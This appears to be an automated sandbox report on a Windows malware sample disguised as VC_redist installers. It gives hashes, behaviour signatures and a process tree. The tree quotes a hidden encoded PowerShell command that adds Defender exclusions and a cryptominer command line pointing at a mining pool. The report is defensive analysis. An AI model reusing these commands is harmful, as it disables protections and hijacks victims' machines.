Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-02-2025 11:47

General

  • Target

    a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe

  • Size

    5.4MB

  • MD5

    7bee3a8f387bbbc84ab90a8a92be6dc6

  • SHA1

    d93b5a47af4094bb8d900a8a6feb89bcbf38c118

  • SHA256

    a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385

  • SHA512

    95cbe2ed9005342fa1caf3a192f636fd9c8ef64df8f7baaeb09a701c209ef139da90e61a1fd24efef0c4d078706a8acdc082ac7b3f5c138ca5341d6b829846af

  • SSDEEP

    98304:ZsskiQvHYE7PyrHXIJ1zqRfm0zWPReVl23hIJyNm4/acqTsg:wiyYaH1q9z6eVlPJygsg

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Embeds OpenSSL 1 IoCs

    Embeds OpenSSL, may be used to circumvent TLS interception.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe
    "C:\Users\Admin\AppData\Local\Temp\a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:972
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe"
      2⤵
      • Enumerates VirtualBox registry keys
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:3716
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAUABlAHIAbQBpAHMAcwBpAG8AbgBTAGUAdABcAE0AZQB0AGgAbwBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAUABlAHIAbQBpAHMAcwBpAG8AbgBTAGUAdABcAE0AZQB0AGgAbwBkAC4AZQB4AGUA
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2124
  • C:\Users\Admin\AppData\Roaming\PermissionSet\Method.exe
    C:\Users\Admin\AppData\Roaming\PermissionSet\Method.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1184
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3468
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RX3AxWc9oV9n9E9uqRRyXpXh5kNuhqQyc5.RIG_CPU -p x --cpu-max-threads-hint=50
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4368
  • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
    "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NTFGQkI4OTItMUNFMS00NUQ5LUI3NTctRjlENDVGNDJBNUQ0fSIgdXNlcmlkPSJ7QjFERTBDNDgtMjZFMy00NzEwLTgyNEUtRUQyMjg1N0M1RDExfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NzY1MkI2MUQtMkI5My00NjkzLUEzRjEtMDM5OEVCNkI4RUUxfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIzIiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDU1NzgiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxODAxNjUyMzAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MTI4NTY4ODA0Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
    1⤵
    • System Location Discovery: System Language Discovery
    • System Network Configuration Discovery: Internet Connection Discovery
    PID:2468

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe

    Filesize

    8.5MB

    MD5

    f1d1d8dc0494c69f77e03f6b5366a2a4

    SHA1

    2f20af746b4e69db58c3c0383365ba9da7c6bf26

    SHA256

    11c9dd0e206ed62d39c85600cda77706e91691b3b6557746a916c0bbe5a60721

    SHA512

    df0c70cb54faef30891da8fb7c8e9e877adbe004ee2348d780131586113d50e3d8ed2966538a69dcdeb5f14f689fb53f913a0747062241813d3b0ad1a064da04

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe

    Filesize

    626KB

    MD5

    abab3febb6ef9c10eb9ecdbebbbc128c

    SHA1

    cda81cd8994098f779de7e1510049daf667fb844

    SHA256

    7614eb6c0d335ac226aec01e855d50c683d9b18529dfc066e51b3163c5f54f3d

    SHA512

    855993982c0660f85ac53defd959f56d912897b5f67afb673dfbf4c1b984abf81ba198ed22553c2aa94f239bcd40e45f7400a7c8c87e79f316f7496cd231db9c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rw1ebeng.4to.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/972-38-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-73-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-65-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-34-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-75-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-71-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-69-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-67-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-63-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-59-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-36-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-55-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-32-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-51-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-45-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-43-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-61-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-49-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-47-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-20-0x000002346B0F0000-0x000002346B1E8000-memory.dmp

    Filesize

    992KB

  • memory/972-57-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-42-0x00007FFD734F0000-0x00007FFD73FB1000-memory.dmp

    Filesize

    10.8MB

  • memory/972-53-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-30-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-26-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-24-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-22-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-21-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-40-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-85-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-83-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-81-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-79-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-77-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-28-0x000002346B0F0000-0x000002346B1E3000-memory.dmp

    Filesize

    972KB

  • memory/972-2626-0x0000023469000000-0x0000023469056000-memory.dmp

    Filesize

    344KB

  • memory/972-2627-0x000002346B080000-0x000002346B0CC000-memory.dmp

    Filesize

    304KB

  • memory/972-2628-0x000002346B2F0000-0x000002346B344000-memory.dmp

    Filesize

    336KB

  • memory/972-2629-0x00007FFD734F3000-0x00007FFD734F5000-memory.dmp

    Filesize

    8KB

  • memory/972-2630-0x00007FFD734F0000-0x00007FFD73FB1000-memory.dmp

    Filesize

    10.8MB

  • memory/972-19-0x0000023468B70000-0x0000023468C12000-memory.dmp

    Filesize

    648KB

  • memory/972-18-0x00007FFD734F3000-0x00007FFD734F5000-memory.dmp

    Filesize

    8KB

  • memory/972-2646-0x00007FFD734F0000-0x00007FFD73FB1000-memory.dmp

    Filesize

    10.8MB

  • memory/2124-2639-0x0000018CA87C0000-0x0000018CA87E2000-memory.dmp

    Filesize

    136KB